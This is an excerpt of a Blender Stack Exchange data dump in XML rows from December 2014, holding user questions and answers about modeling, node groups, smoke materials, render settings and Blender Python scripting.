  <row Id="19468" PostTypeId="2" ParentId="19467" CreationDate="2014-12-02T20:48:08.450" Score="17" Body="&lt;p&gt;Click the little number next to the name of the node group after duplicating it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDdQA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will &quot;unlink&quot; that node group and make it into a copy, so that editing it will not change other instances of the group it was duplicated from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number refers to the number of &quot;users&quot; of that datablock, i.e. the number of instances of that node group.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-02T20:48:08.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19469" PostTypeId="1" AcceptedAnswerId="19471" CreationDate="2014-12-02T21:01:59.477" Score="3" ViewCount="2273" Body="&lt;p&gt;I need to seperate the bars from the cells in this model.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GuXaF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i go in the Edit Mode, the bars disappear.  I am using an array modifier, but I think the problem is not with the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkWVk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8299" LastEditorUserId="5705" LastEditDate="2014-12-02T21:11:04.247" LastActivityDate="2014-12-02T21:21:08.037" Title="Part of the geometry disappears when in edit mode" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-03T05:54:45.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="19470" PostTypeId="2" ParentId="19466" CreationDate="2014-12-02T21:10:24.743" Score="4" Body="&lt;p&gt;&lt;code&gt;select_inverse()&lt;/code&gt; was available up to 2.61 (&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_61_release/bpy.ops.object.html#bpy.ops.object.select_inverse&quot; rel=&quot;nofollow&quot;&gt;API docs&lt;/a&gt;), it's missing in docs from 2.62 on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following operator inverts the current object selection and should be equivalent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='INVERT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get every past release here:&lt;br&gt;&#xA;&lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/release/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender.org forums were meant for developers, and the user community was mostly active on &lt;a href=&quot;http://blenderartists.org/&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/&lt;/a&gt; anyway. Consider BA.org the successor to the official forums.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-12-02T21:10:24.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19471" PostTypeId="2" ParentId="19469" CreationDate="2014-12-02T21:21:08.037" Score="6" Body="&lt;p&gt;It looks to me like you have &lt;em&gt;hidden&lt;/em&gt; the bars.  To hide something, select it and press &lt;kbd&gt;H&lt;/kbd&gt;.  If you are in object mode this will hide the &lt;em&gt;objects&lt;/em&gt; that are selected, in edit mode this will hide only the &lt;em&gt;geometry&lt;/em&gt; that is selected.  You can also press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to hide everything but the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To unhide everything, just hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-12-02T21:21:08.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19472" PostTypeId="1" CreationDate="2014-12-02T21:39:48.673" Score="1" ViewCount="775" Body="&lt;p&gt;I'm quite new to Blender(and 3D graphics in general) and I can see that there is only 2 kinds of 3d surfaces, meshes and NURBS, meshes only have hard edges, while NURBS have only got curved surfaces, so my question is there any type of surfaces that provides curved surfaces and hard edges?&lt;/p&gt;&#xA;" OwnerUserId="8300" LastActivityDate="2014-12-02T22:36:19.343" Title="Hard edges and curved surfaces" Tags="&lt;modeling&gt;&lt;nurbs-surface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19473" PostTypeId="2" ParentId="19472" CreationDate="2014-12-02T22:05:43.687" Score="1" Body="&lt;p&gt;Yes, although both are defined by vertices in different locations to your computer. Computers do not know 'curves'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest that anything is would be is the 'Meatball' or 'Meta'.&#xA;These behave as curves until you want the to become meshes.&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Meatball&lt;/em&gt; will create meatballs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ez6F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that two meatballs in proximity to each other will stretch like fluid and adhere to each other, eventually becoming one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt;to mesh from meta&lt;/em&gt; will turn your meatball(s) into mesh for vertex editing.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-02T22:05:43.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19474" PostTypeId="1" CreationDate="2014-12-02T22:08:21.527" Score="4" ViewCount="3492" Body="&lt;p&gt;As seen in the beginning of &lt;a href=&quot;https://www.youtube.com/watch?v=KQMZ2mE-8HI&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt;, the smoke is colored based on its temperature. I know how to use the attribute to color smoke based on flame and density, but how can I use it to color based on the smoke's temperature?&lt;/p&gt;&#xA;" OwnerUserId="8301" LastEditorUserId="599" LastEditDate="2014-12-03T07:51:45.690" LastActivityDate="2014-12-03T07:51:45.690" Title="How can you color smoke based on the smoke's temperature?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19475" PostTypeId="2" ParentId="19472" CreationDate="2014-12-02T22:36:19.343" Score="2" Body="&lt;p&gt;For visual purposes it is sufficient to approximate the surface with a mesh / wire and use smooth shading afterwards to make the surface appear smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same mesh using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Smoothing&quot; rel=&quot;nofollow noreferrer&quot;&gt;flat shading(top) and smooth shading(below)&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LPZ6p.png&quot; alt=&quot;smoooth flat comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create curved surfaces the common approach in blender is using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;catmull-clark subdivision&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Catmull-Clark subdivision using crease edges(pink)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TyF18.png&quot; alt=&quot;catmull-clark&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-12-02T22:36:19.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19476" PostTypeId="2" ParentId="19474" CreationDate="2014-12-03T00:18:52.223" Score="1" Body="&lt;p&gt;&lt;strong&gt;This isn't possible right now in cycles&lt;/strong&gt;. You will have to use the internal render engine. The feature will probably be added soon though&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-03T00:18:52.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19477" PostTypeId="1" AcceptedAnswerId="20962" CreationDate="2014-12-03T00:22:41.733" Score="1" ViewCount="195" Body="&lt;p&gt;I have a blend file that is supposed to be packed with a few wav audio files, but it seems the author forgot to pack them, and I don't have the files, if I try the option &lt;strong&gt;File&gt;External Data&gt;Pack into blend file&lt;/strong&gt; blender shows the error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Unable to pack file, source path '//long path/something.wav' not found&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the library where those files were originally downloaded, and downloaded the required files, now I want to edit the information in the blend file so that blender can find those files.&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2014-12-15T23:29:54.090" Title="How to access/edit information about included audio files?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19478" PostTypeId="2" ParentId="14009" CreationDate="2014-12-03T01:19:48.887" Score="0" Body="&lt;p&gt;How about something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zg1Sf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2014-12-03T01:19:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19479" PostTypeId="1" AcceptedAnswerId="19487" CreationDate="2014-12-03T02:14:13.680" Score="1" ViewCount="354" Body="&lt;p&gt;I want to move a vertex A along an edge A1 in such a way so that the vertex has the same Z global coordinate as another vertex B which is in another edge B1. B1 and A1 are not parallel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the Normal coordinate system to move A along A1, but snapping to B only considers the current (Normal in this case) coordinate system so it didn't work as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried snapping the 3D cursor to an endpoint of A1 and scaling A (with the 3D cursor as pivot), but snapping to B did not work as expected (I'm not sure why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I was able to come up with was to duplicate the edge and snap A to B in the global coordinate system, then while moving on the XY plane snapping to the duplicated edge. Far from being practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of what I'm trying to achieve:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HFnu5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the selected vertex to move only along the green axis but I want to snap to the vertex in the red circle relative to the global Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="7592" LastEditorUserId="7592" LastEditDate="2014-12-03T02:36:29.873" LastActivityDate="2014-12-03T15:13:55.560" Title="How can you align two vertices relative to a global coordinate when you want to preserve the orientation of the edges that contain them?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19483" PostTypeId="2" ParentId="19474" CreationDate="2014-12-03T07:50:48.900" Score="8" Body="&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/19476/599&quot;&gt;GiantCowFilms said&lt;/a&gt;, this isn't currently possible in Cycles (but probably will be in the hopefully-not-too-distant-future). In the meantime, it is possible with BI:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup your simulation. See &lt;a href=&quot;https://blender.stackexchange.com/q/12181/599&quot;&gt;How to simulate a gas?&lt;/a&gt; and the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more detailed info.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new material to the smoke domain, set the type to &lt;em&gt;volume&lt;/em&gt;, and set the density to &lt;code&gt;0&lt;/code&gt; (if you haven't already):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l39jF.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this step is not needed if you used &lt;em&gt;quick smoke&lt;/em&gt; to create your domain&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new texture, set the type to &lt;em&gt;Voxel data&lt;/em&gt;, and select your domain object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vdhbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the texture settings, in the &lt;em&gt;Influence&lt;/em&gt; panel, enable &lt;em&gt;Density&lt;/em&gt; so that the texture influences the density of the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4rnL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another new texture, again with the type set to &lt;em&gt;Voxel data&lt;/em&gt; and your domain object selected.  But this time set the &lt;em&gt;source&lt;/em&gt; to &lt;em&gt;Heat&lt;/em&gt; (there are also some fun options like &lt;em&gt;Velocity&lt;/em&gt;). This will give you a black and white map of the temperature variations inside your smoke domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To colorize it, enable &lt;em&gt;Ramp&lt;/em&gt; and set the color ramp to the colors of your liking. In my screenshot I moved the ends in a bit, as extreme temperatures like those at the ends of the ramp were not being reached in my simulation. (as an alternative to altering the color ramp, you could also increase the &lt;em&gt;Contrast&lt;/em&gt; by adjusting the value slider below the ramp):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the color influence the color of the smoke, enable &lt;em&gt;Reflection color&lt;/em&gt; and &lt;em&gt;Transmission color&lt;/em&gt; in the &lt;em&gt;influence&lt;/em&gt; panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3bCQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the coordinates of both textures are set to &lt;em&gt;Generated&lt;/em&gt; in &lt;em&gt;Texture &gt; Mapping&lt;/em&gt;. It should be by default, however I've noticed it behaving strangely recently (i.e. while writing this answer :P)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(click on the image for a nicer version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/BogusWhimsicalGull&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/BogusWhimsicalGull.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason there is some flickering in the heat channel. I've noticed this with &lt;em&gt;velocity&lt;/em&gt; before as well. (bug?)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;While it's not possible currently (as mentioned before), it is possible to create a similar effect to the video you linked in your question. By using the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.65/Smoke_Simulation#Colored_Smoke&quot; rel=&quot;nofollow noreferrer&quot;&gt;color blending features&lt;/a&gt; that were added since that video was made:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;color&lt;/em&gt; on the emitter objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fx3lS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This color can then be accessed via the attribute node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AXX3K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-12-03T07:50:48.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19484" PostTypeId="1" CreationDate="2014-12-03T07:53:53.400" Score="0" ViewCount="178" Body="&lt;p&gt;I write Add-on using two callback functions, modal timer operator and binary module. When I develop this Add-on, then I write bug sometimes, but Python sometimes silently &quot;die&quot; and no error is printed to terminal. Do you have any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: problem was in Python binary module. Following code was wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;session_SessionObject *session = session_list[session_id];&#xA;if(session != NULL) {&#xA;    PyObject_CallMethod((PyObject*)session, &quot;cb_receive_layer_destroy&quot;, &quot;(IH)&quot;,&#xA;            node_id, layer_id);&#xA;}&#xA;return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because it didn't check for return value of &lt;code&gt;PyObject_CallMethod&lt;/code&gt; and it didn't try to &quot;catch&quot; errors from Python callback method. Following code is right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;session_SessionObject *session = session_list[session_id];&#xA;if(session != NULL) {&#xA;    PyObject *result = NULL;&#xA;    result = PyObject_CallMethod((PyObject*)session, &quot;cb_receive_layer_destroy&quot;, &quot;(IH)&quot;,&#xA;            node_id, layer_id);&#xA;    if(result == NULL || PyErr_Occurred() != NULL) {&#xA;        PyErr_Print();&#xA;    }&#xA;}&#xA;return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="6164" LastEditDate="2014-12-04T20:57:35.390" LastActivityDate="2014-12-04T20:57:35.390" Title="Python: Blender does not print error" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19485" PostTypeId="1" AcceptedAnswerId="19492" CreationDate="2014-12-03T12:03:39.527" Score="3" ViewCount="626" Body="&lt;p&gt;after I finished my animation I rendered it and realised that is was i bit too fast. So I scaled all the key frames a bit that everything is a bit slower. My animation is now 20 frames longer but after frame 100 there is only a gray picture until the ending at frame 120. From 1 to 100 everything works perfect. What is the probem there? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my blender file: &lt;a href=&quot;http://www.pasteall.org/blend/33182&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33182&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8305" LastEditorUserId="8305" LastEditDate="2014-12-03T13:34:59.507" LastActivityDate="2018-12-29T10:53:55.517" Title="Why are my render animation pictures after frame 100 only gray?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;image&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19486" PostTypeId="1" AcceptedAnswerId="19488" CreationDate="2014-12-03T12:54:47.040" Score="4" ViewCount="1692" Body="&lt;p&gt;Kind of a simple/noobish question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this simple model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vsU8J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to add details to it. Like, rounding up the ring, add something to the hilt...&#xA;But I'd like to keep the model &quot;light&quot; on the polygon count. But if I add a loop cup on the hilt (for example) lenght-wise, it'll obviously subdivide the blade too (which doesn't really need it) and the ring. &#xA;So what would the best way to add detail whitout adding unnecessary quads where they're not needed be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though about dividing the mesh in three pieces like this: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/PaPSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this way, after adding what I want, I'd end up with a different number of vertices between the (for example) the ring and the blade, this way I wouldnt be able to reconnect it the right way, I'd end up having to add traingles to the mesh or leaving seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that simply connecting the pieces in object view so that there is no space between them would be the right course of action, right? &#xA;Or maybe it is? Because I remember this human model I downloaded, and it basically had the face, the hair and the body as separate meshes, that were basically put together in object view without leaving visible seams but not connected into a single big mesh.&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2014-12-04T13:19:20.903" Title="How to add detail to a mesh without subdividing all of it" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19487" PostTypeId="2" ParentId="19479" CreationDate="2014-12-03T13:24:31.367" Score="5" Body="&lt;p&gt;I would also like to know the answer :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as a workaround for this specific case the &lt;strong&gt;knife tool&lt;/strong&gt; &lt;kbd&gt;K&lt;/kbd&gt; in combination with &lt;strong&gt;angle constrain&lt;/strong&gt; &lt;kbd&gt;C&lt;/kbd&gt; is very handy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TaBx7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-03T13:24:31.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19488" PostTypeId="2" ParentId="19486" CreationDate="2014-12-03T14:10:34.780" Score="5" Body="&lt;p&gt;I recommend to have separate mesh objects. My rule: &quot;What is separated object in reality should be separated object in 3D too&quot;, because it simplifies many things: modeling, texture mapping, material setup, animation, etc.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2014-12-03T14:10:34.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19489" PostTypeId="1" AcceptedAnswerId="19490" CreationDate="2014-12-03T14:26:57.657" Score="8" ViewCount="13862" Body="&lt;p&gt;This questions has already been asked a million times, but nothing solved my issue so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Situation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm using &lt;em&gt;Blender 2.72b&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;li&gt;I'm not using nodes, just the plain old vanilla settings. But apparently I messed them up somehow.&lt;/li&gt;&#xA;&lt;li&gt;I'm using the &lt;code&gt;Mirror&lt;/code&gt; modifier.&lt;/li&gt;&#xA;&lt;li&gt;I'm completely new to blender (and 3D modelling in general) and use it for a couple of days now.&lt;/li&gt;&#xA;&lt;li&gt;I deleted the cube and made this model from scratch (no import).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In texture view everything looks fine:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DZcRh.png&quot; alt=&quot;Texture view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In material view (and after rendering) everything is black:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0gt5A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attempts to solve&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a light source.&lt;/li&gt;&#xA;&lt;li&gt;I have a camera.&lt;/li&gt;&#xA;&lt;li&gt;I have no ceiling.&lt;/li&gt;&#xA;&lt;li&gt;I have a material.&lt;/li&gt;&#xA;&lt;li&gt;I have a texture.&lt;/li&gt;&#xA;&lt;li&gt;Shadows are activated.&lt;/li&gt;&#xA;&lt;li&gt;I tried using nodes and my output was well connected - no change, still black, so I stopped using nodes again (I had no idea what I was doing anyway).&lt;/li&gt;&#xA;&lt;li&gt;I checked out many solutions posted on the web.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As my last attempt, I opened the vanilla start-up file again. Everything works fine with the cube. So I compared the material und texture settings step by step. It all seems the same. This topic is so extraordinary complex and I'm so bloody inexperienced that I'm stuck at this point.&lt;/p&gt;&#xA;" OwnerUserId="8306" LastEditorUserId="8306" LastEditDate="2014-12-03T19:20:35.880" LastActivityDate="2014-12-03T19:20:35.880" Title="Rendering and materials are black" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19490" PostTypeId="2" ParentId="19489" CreationDate="2014-12-03T14:51:47.147" Score="10" Body="&lt;p&gt;You are in &lt;em&gt;local view&lt;/em&gt;, which isolates the selected object, so you have no lights illuminating the object.  You can change this by pressing &lt;kbd&gt; / &lt;/kbd&gt; on the numpad or by pressing the space bar and entering &quot;Local View&quot;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lGjm4.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="5705" LastEditDate="2014-12-03T15:39:32.423" LastActivityDate="2014-12-03T15:39:32.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19491" PostTypeId="1" AcceptedAnswerId="19498" CreationDate="2014-12-03T14:52:24.870" Score="6" ViewCount="846" Body="&lt;p&gt;Cannot find proper &lt;code&gt;bpy.ops&lt;/code&gt; command to switch texts in Text Editor(normally you do that from area header by clicking and selecting text block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.space_data.text&lt;/code&gt; &lt;strike&gt;is read only&lt;/strike&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: the property is writable, my mistake, everything is fine.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-03T16:48:20.790" LastActivityDate="2014-12-03T16:48:20.790" Title="How to switch texts in Text Editor by script" Tags="&lt;python&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19492" PostTypeId="2" ParentId="19485" CreationDate="2014-12-03T15:12:16.173" Score="5" Body="&lt;p&gt;You inserted the scene in the Video Sequence Editor but the clip length stayed at 100 frames. In the Post Processing tab in Render settings Sequencer is checked so its being taken into account when rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4ORRS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ORRS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b2fdO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2fdO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: Uncheck the Sequencer in Render Settings or re-add the scene in the sequencer so the strip is 120 frames long. I recommend option 1.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="57154" LastEditDate="2018-12-29T10:53:55.517" LastActivityDate="2018-12-29T10:53:55.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19493" PostTypeId="2" ParentId="19479" CreationDate="2014-12-03T15:13:55.560" Score="1" Body="&lt;p&gt;This is a task that blender doesn't offer any help (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex slide &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; will allow you to slide the vertex along the existing edge that you want to follow. Unfortunately snapping doesn't work during vertex slide so you need to move the vertex until you get the z value of the matching vertex. You can see the vertex position in the properties sidebar while in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mPfnn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find it hard to get an exact value, if you get it close and then use orthographic view to zoom right in you can get small movements to get very close to the value you are after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the angle of the edge that causes issues, if the edge was vertical you can move constrained to one axis and use snapping to align it to another vertex.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-03T15:13:55.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
